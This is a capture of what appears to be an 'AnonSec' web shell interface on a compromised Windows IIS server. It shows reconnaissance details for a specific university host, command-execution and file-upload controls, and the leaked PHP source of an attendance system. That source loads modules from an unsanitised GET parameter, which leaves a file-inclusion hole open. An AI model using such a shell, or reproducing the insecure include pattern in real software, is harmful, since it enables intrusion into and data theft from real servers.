AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 3.15.234.89
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/elibrary/../absen-fti/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/elibrary/../absen-fti/index2.php
<?php
ob_start(); // Memulai output buffering
session_start(); // Memulai sesi untuk menyimpan data pengguna
include_once 'sw-library/sw-config.php'; // Mengimpor konfigurasi database
include_once 'sw-library/sw-function.php'; // Mengimpor fungsi-fungsi yang diperlukan

// Membuat koneksi ke database menggunakan parameter yang didefinisikan di sw-config.php
$connection = mysqli_connect(DB_HOST, DB_USER, DB_PASSWD, DB_NAME) or die(mysqli_error($connection)); // Jika gagal, tampilkan error

// Fungsi untuk mengamankan input dari SQL Injection
function secure_input($data) {
    global $connection;
    return mysqli_real_escape_string($connection, trim($data));
}

// Memeriksa apakah cookie untuk member atau cookies ada
if (isset($_COOKIE['COOKIES_MEMBER']) || isset($_COOKIE['COOKIES_COOKIES'])) {
    // Mengambil nilai dari cookie COOKIES_COOKIES jika ada, jika tidak, set ke string kosong
    $COOKIES_COOKIES = !empty($_COOKIE['COOKIES_COOKIES']) ? $_COOKIE['COOKIES_COOKIES'] : '';
    // Mengambil dan mendekode nilai dari cookie COOKIES_MEMBER jika ada
    $COOKIES_MEMBER = !empty($_COOKIE['COOKIES_MEMBER']) ? epm_decode($_COOKIE['COOKIES_MEMBER']) : '';
    require_once 'sw-mod/out/sw-cookies.php'; // Mengimpor file yang menangani cookies

    // Query untuk mengambil data absensi berdasarkan ID karyawan dan tanggal
    $query_absent = "SELECT employees_id, time_in, time_out FROM presence WHERE employees_id='" . secure_input($row_user['id']) . "' AND presence_date='" . secure_input($date) . "'";
    $result_absent = $connection->query($query_absent); // Menjalankan query absensi

    // Query untuk mengambil data shift karyawan berdasarkan ID karyawan
    $query_shift = "SELECT employees.id, shift.time_in, shift.time_out FROM employees
                    LEFT JOIN shift ON employees.shift_id = shift.shift_id WHERE employees.id=" . secure_input($row_user['id']);
    $result_shift = $connection->query($query_shift); // Menjalankan query shift
}

// Array untuk menyimpan informasi website
$website_info = [
    'url' => $row_site['site_url'], // URL situs
    'name' => $row_site['site_name'], // Nama situs
    'phone' => $row_site['site_phone'], // Nomor telepon situs
    'address' => $row_site['site_address'], // Alamat situs
    'description' => $row_site['site_description'], // Deskripsi situs
    'keyword' => $row_site['site_description'], // Kata kunci situs (sama dengan deskripsi)
    'logo' => $row_site['site_logo'], // Logo situs
    'email' => $row_site['site_email'] // Email situs
];

// Mengambil alert dari parameter GET dan mengamankan input
$alert = !empty($_GET['alert']) ? secure_input($_GET['alert']) : '';
// Mengambil pesan dari sesi jika ada
$messages = !empty($_SESSION['messages']) ? $_SESSION['messages'] : '';

// Mengambil modul dari parameter GET dan mengamankan input, default ke 'home'
$mod = !empty($_GET['mod']) ? secure_input($_GET['mod']) : 'home';
// Menentukan file modul yang akan dimuat
$mod_file = "sw-mod/$mod.php";

// Memeriksa apakah file modul ada, jika ada, muat file tersebut
if (file_exists($mod_file)) {
    require_once($mod_file);
} else {
    require_once("sw-mod/home.php"); // Jika tidak ada, muat modul home
}
?>

AnonSec - 2021